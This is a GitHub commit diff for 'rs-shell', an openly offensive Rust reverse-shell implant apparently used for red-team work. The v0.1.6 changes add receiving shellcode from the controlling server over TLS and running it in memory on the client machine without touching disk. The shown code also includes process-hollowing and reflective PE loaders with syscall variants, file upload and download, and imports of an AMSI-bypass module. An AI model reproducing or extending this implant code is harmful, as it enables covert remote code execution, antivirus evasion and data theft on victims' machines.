Skip to content

Commit 5f371f5

Browse files
committed
Realease v0.1.6 : load shellcode remotely
* Now *really* possible to load and execute a shellcode on the client machine from a raw file presents on the server's disk, without writting it on the client's disk * Some improvements ont he download and upload features, division into several sub-functions
1 parent 5064677 commit 5f371f5

File tree

10 files changed

+423
-352
lines changed

10 files changed

+423
-352
lines changed

Cargo.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[package]
22
name = "rs-shell"
3-
version = "0.1.5"
3+
version = "0.1.6"
44
edition = "2021"
55

66
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

src/amsi_bypass.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
#![cfg(target_family = "windows")]
22

33
use crate::utils::structures::{IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY};
4-
use crate::utils::tools::*;
4+
use crate::utils::tools_windows::*;
55

66
use core::time;
77
use regex::Regex;

src/client_linux.rs

Lines changed: 11 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
use crate::utils::tools::receive_and_write_bytes;
2+
13
use std::error::Error;
24
use std::fs::File;
35
use std::io::{Read, Write};
@@ -109,44 +111,27 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
109111
let path: Vec<&str> = cmd.split(' ').collect();
110112
match File::create(path[2].trim_end_matches('\0').trim_end()) {
111113
Ok(mut file) => {
112-
tls_stream.write_all("Creation OK".as_bytes())?;
114+
tls_stream.write("Creation OK".as_bytes())?;
113115
let mut file_buffer = [0; 4096];
116+
let mut file_vec: Vec<u8> = Vec::new();
114117
match tls_stream.read(&mut file_buffer) {
115-
Ok(_) => loop {
116-
if String::from_utf8_lossy(&file_buffer).starts_with("EndOfTheFile") {
117-
// Drop all the ending null bytes added by the buffer
118-
let file_len_string = String::from_utf8_lossy(&file_buffer)
119-
.split_once(':')
120-
.map(|x| x.1)
121-
.unwrap_or("0")
122-
.trim_end_matches('\0')
123-
.to_owned();
124-
let file_len_u64 = file_len_string.parse::<u64>();
125-
match file.set_len(file_len_u64.unwrap()) {
126-
Ok(_) => (),
127-
Err(r) => {
128-
log::debug!("Error dropping the null bytes at the end of the file : {}", r);
129-
continue;
130-
}
131-
}
132-
break;
133-
} else {
134-
file.write_all(&file_buffer)?;
135-
file_buffer = [0; 4096];
136-
tls_stream.read_exact(&mut file_buffer)?;
137-
}
138-
},
118+
Ok(_) => receive_and_write_bytes(
119+
&mut tls_stream,
120+
&mut file_vec,
121+
&mut file_buffer,
122+
)?,
139123
Err(r) => {
140124
log::debug!("Reading error : {}", r);
141125
tls_stream.flush()?;
142126
continue;
143127
}
144128
}
129+
file.write(&file_vec)?;
145130
}
146131
Err(r) => {
147132
log::debug!("File creation error : {}", r);
148133
tls_stream
149-
.write_all(("Creation not OK : ".to_owned() + &r.to_string()).as_bytes())?;
134+
.write(("Creation not OK : ".to_owned() + &r.to_string()).as_bytes())?;
150135
}
151136
}
152137
} else {

src/client_windows.rs

Lines changed: 76 additions & 80 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ use crate::loader::{reflective_loader, remote_loader, shellcode_loader};
33
use crate::loader_syscalls::{
44
reflective_loader_syscalls, remote_loader_syscalls, shellcode_loader_syscalls,
55
};
6+
use crate::utils::tools::{read_and_send_file, receive_and_write_bytes};
67

78
use std::error::Error;
89
use std::fs::File;
@@ -28,7 +29,30 @@ fn do_stuff(cmd: &str) -> Vec<u8> {
2829
}
2930
}
3031

31-
fn call_loader(file_to_load: &str, pe_to_exec: &str, loader: u8) -> Result<(), Box<dyn Error>> {
32+
fn call_loader_shellcode(
33+
shellcode_to_load: Vec<u8>,
34+
pe_to_exec: &str,
35+
loader: u8,
36+
) -> Result<(), Box<dyn Error>> {
37+
match loader {
38+
0 => match shellcode_loader_syscalls(shellcode_to_load, pe_to_exec) {
39+
Ok(rl) => rl,
40+
Err(_) => {
41+
return Err("Shellcode loading error".into());
42+
}
43+
},
44+
1 => match shellcode_loader(shellcode_to_load, pe_to_exec) {
45+
Ok(rl) => rl,
46+
Err(_) => {
47+
return Err("Shellcode loading error".into());
48+
}
49+
},
50+
_ => log::debug!("Invalid loader ID"),
51+
}
52+
Ok(())
53+
}
54+
55+
fn call_loader_pe(file_to_load: &str, pe_to_exec: &str, loader: u8) -> Result<(), Box<dyn Error>> {
3256
let mut buf: Vec<u8> = Vec::new();
3357
let file = File::open(file_to_load.trim().replace("\\\\", "\\"));
3458
match file {
@@ -41,31 +65,19 @@ fn call_loader(file_to_load: &str, pe_to_exec: &str, loader: u8) -> Result<(), B
4165
return Err("PE loading error".into());
4266
}
4367
},
44-
1 => match shellcode_loader(buf, pe_to_exec) {
45-
Ok(rl) => rl,
46-
Err(_) => {
47-
return Err("Shellcode loading error".into());
48-
}
49-
},
50-
2 => match remote_loader_syscalls(buf, pe_to_exec) {
68+
1 => match remote_loader_syscalls(buf, pe_to_exec) {
5169
Ok(rl) => rl,
5270
Err(_) => {
5371
return Err("PE loading error".into());
5472
}
5573
},
56-
3 => match shellcode_loader_syscalls(buf, pe_to_exec) {
57-
Ok(rl) => rl,
58-
Err(_) => {
59-
return Err("Shellcode loading error".into());
60-
}
61-
},
62-
4 => match reflective_loader(buf) {
74+
2 => match reflective_loader(buf) {
6375
Ok(rl) => rl,
6476
Err(_) => {
6577
return Err("PE loading error".into());
6678
}
6779
},
68-
5 => match reflective_loader_syscalls(buf) {
80+
3 => match reflective_loader_syscalls(buf) {
6981
Ok(rl) => rl,
7082
Err(_) => {
7183
return Err("PE loading error".into());
@@ -142,19 +154,14 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
142154
let cmd = tmp + String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\0');
143155
let path: Vec<&str> = cmd.split(" ").collect();
144156
match File::open(path[1]) {
145-
Ok(mut file) => {
146-
let mut file_buffer = [0; 4096];
147-
loop {
148-
let bytes_read = file.read(&mut file_buffer)?;
149-
if bytes_read == 0 {
150-
let end_of_file =
151-
"EndOfTheFile:".to_owned() + &file.metadata()?.len().to_string();
152-
tls_stream.write_all(end_of_file.as_bytes())?;
153-
break;
154-
}
155-
tls_stream.write_all(&file_buffer[..bytes_read])?;
157+
Ok(file) => match read_and_send_file(file, &mut tls_stream) {
158+
Ok(_) => (),
159+
Err(r) => {
160+
log::error!("Error during upload : {}", r);
161+
tls_stream.flush().unwrap();
162+
continue;
156163
}
157-
}
164+
},
158165
Err(r) => {
159166
tls_stream.write(r.to_string().as_bytes())?;
160167
tls_stream.write_all("EndOfTheFile".as_bytes())?;
@@ -171,37 +178,20 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
171178
Ok(mut file) => {
172179
tls_stream.write("Creation OK".as_bytes())?;
173180
let mut file_buffer = [0; 4096];
181+
let mut file_vec: Vec<u8> = Vec::new();
174182
match tls_stream.read(&mut file_buffer) {
175-
Ok(_) => loop {
176-
if String::from_utf8_lossy(&file_buffer).starts_with("EndOfTheFile") {
177-
// Drop all the ending null bytes added by the buffer
178-
let file_len_string = String::from_utf8_lossy(&file_buffer)
179-
.splitn(2, ':')
180-
.nth(1)
181-
.unwrap_or("0")
182-
.trim_end_matches('\0')
183-
.to_owned();
184-
let file_len_u64 = file_len_string.parse::<u64>();
185-
match file.set_len(file_len_u64.unwrap()) {
186-
Ok(_) => (),
187-
Err(r) => {
188-
log::debug!("Error dropping the null bytes at the end of the file : {}", r);
189-
continue;
190-
}
191-
}
192-
break;
193-
} else {
194-
file.write(&file_buffer)?;
195-
file_buffer = [0; 4096];
196-
tls_stream.read(&mut file_buffer)?;
197-
}
198-
},
183+
Ok(_) => receive_and_write_bytes(
184+
&mut tls_stream,
185+
&mut file_vec,
186+
&mut file_buffer,
187+
)?,
199188
Err(r) => {
200189
log::debug!("Reading error : {}", r);
201190
tls_stream.flush()?;
202191
continue;
203192
}
204193
}
194+
file.write(&file_vec)?;
205195
}
206196
Err(r) => {
207197
log::debug!("File creation error : {}", r);
@@ -216,10 +206,10 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
216206
.starts_with("load -h")
217207
|| String::from_utf8_lossy(&buff)
218208
.trim_end_matches('\0')
219-
.starts_with("load -s")
209+
.starts_with("syscalls -h")
220210
|| String::from_utf8_lossy(&buff)
221211
.trim_end_matches('\0')
222-
.starts_with("syscalls -h")
212+
.starts_with("load -s")
223213
|| String::from_utf8_lossy(&buff)
224214
.trim_end_matches('\0')
225215
.starts_with("syscalls -s")
@@ -233,55 +223,61 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
233223
.starts_with("load -h")
234224
{
235225
tls_stream.write("Invalid argument number. Usage is : load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow\0".as_bytes())?;
236-
} else if String::from_utf8_lossy(&buff)
237-
.trim_end_matches('\0')
238-
.starts_with("load -s")
239-
{
240-
tls_stream.write("Invalid argument number. Usage is : load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute\0".as_bytes())?;
241226
} else if String::from_utf8_lossy(&buff)
242227
.trim_end_matches('\0')
243228
.starts_with("syscalls -h")
244229
{
245230
tls_stream.write("Invalid argument number. Usage is : syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow\0".as_bytes())?;
246-
} else {
247-
tls_stream.write("Invalid argument number. Usage is : syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute\0".as_bytes())?;
248231
}
249232
} else {
250233
let load_ret: Result<(), Box<dyn Error>>;
251234
if String::from_utf8_lossy(&buff)
252235
.trim_end_matches('\0')
253236
.starts_with("load -h")
254237
{
255-
load_ret = call_loader(
238+
load_ret = call_loader_pe(
256239
path[2].trim_end_matches('\0'),
257240
path[3].trim_end_matches('\0'),
258241
0,
259242
);
260-
} else if String::from_utf8_lossy(&buff)
261-
.trim_end_matches('\0')
262-
.starts_with("load -s")
263-
{
264-
load_ret = call_loader(
265-
path[2].trim_end_matches('\0'),
266-
path[3].trim_end_matches('\0'),
267-
1,
268-
);
269243
} else if String::from_utf8_lossy(&buff)
270244
.trim_end_matches('\0')
271245
.starts_with("syscalls -h")
272246
{
273-
load_ret = call_loader(
247+
load_ret = call_loader_pe(
274248
path[2].trim_end_matches('\0'),
275249
path[3].trim_end_matches('\0'),
276-
2,
250+
1,
277251
);
278252
} else {
279-
load_ret = call_loader(
280-
path[2].trim_end_matches('\0'),
281-
path[3].trim_end_matches('\0'),
282-
3,
283-
);
253+
let mut shellcode_buffer = [0; 4096];
254+
let mut shellcode_vec: Vec<u8> = Vec::new();
255+
match tls_stream.read(&mut shellcode_buffer) {
256+
Ok(_) => {
257+
receive_and_write_bytes(
258+
&mut tls_stream,
259+
&mut shellcode_vec,
260+
&mut shellcode_buffer,
261+
)?;
262+
}
263+
Err(r) => {
264+
log::debug!("Reading error : {}", r);
265+
tls_stream.flush()?;
266+
continue;
267+
}
268+
}
269+
if String::from_utf8_lossy(&buff)
270+
.trim_end_matches('\0')
271+
.starts_with("load -s")
272+
{
273+
load_ret =
274+
call_loader_shellcode(shellcode_vec, path[3].trim_end_matches('\0'), 0);
275+
} else {
276+
load_ret =
277+
call_loader_shellcode(shellcode_vec, path[3].trim_end_matches('\0'), 1);
278+
}
284279
}
280+
285281
match load_ret {
286282
Ok(()) => {
287283
tls_stream.write("\0".as_bytes())?;
@@ -322,9 +318,9 @@ pub fn client(i: &str, p: &str) -> Result<(), Box<dyn Error>> {
322318
.trim_end_matches('\0')
323319
.starts_with("load")
324320
{
325-
load_ret = call_loader(path[1].trim_end_matches('\0'), "", 4);
321+
load_ret = call_loader_pe(path[1].trim_end_matches('\0'), "", 2);
326322
} else {
327-
load_ret = call_loader(path[1].trim_end_matches('\0'), "", 5);
323+
load_ret = call_loader_pe(path[1].trim_end_matches('\0'), "", 3);
328324
}
329325
match load_ret {
330326
Ok(()) => {

src/loader.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ use crate::utils::structures::{
44
IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_IMPORT_DESCRIPTOR, IMAGE_SECTION_HEADER,
55
MY_IMAGE_BASE_RELOCATION, MY_IMAGE_THUNK_DATA64,
66
};
7-
use crate::utils::tools::*;
7+
use crate::utils::tools_windows::*;
88

99
use std::error::Error;
1010
use std::ffi::c_void;

src/loader_syscalls.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ use crate::utils::structures::{
44
IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_IMPORT_DESCRIPTOR, IMAGE_SECTION_HEADER,
55
MY_IMAGE_BASE_RELOCATION, MY_IMAGE_THUNK_DATA64,
66
};
7-
use crate::utils::tools::*;
7+
use crate::utils::tools_windows::*;
88

99
use std::error::Error;
1010
use std::ffi::{c_ulong, c_void};

src/main.rs

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
mod utils {
22
pub mod structures;
33
pub mod tools;
4+
pub mod tools_windows;
45
}
56
mod amsi_bypass;
67
mod autopwn;
@@ -30,7 +31,7 @@ fn main() -> Result<(), Box<dyn Error>> {
3031

3132
let args = Command::new("rs-shell")
3233
.author("BlackWasp")
33-
.version("0.1.5")
34+
.version("0.1.6")
3435
.after_help("In a session, type 'help' for advanced integrated commands")
3536
.arg(
3637
Arg::new("side")

0 commit comments

Comments
 (0)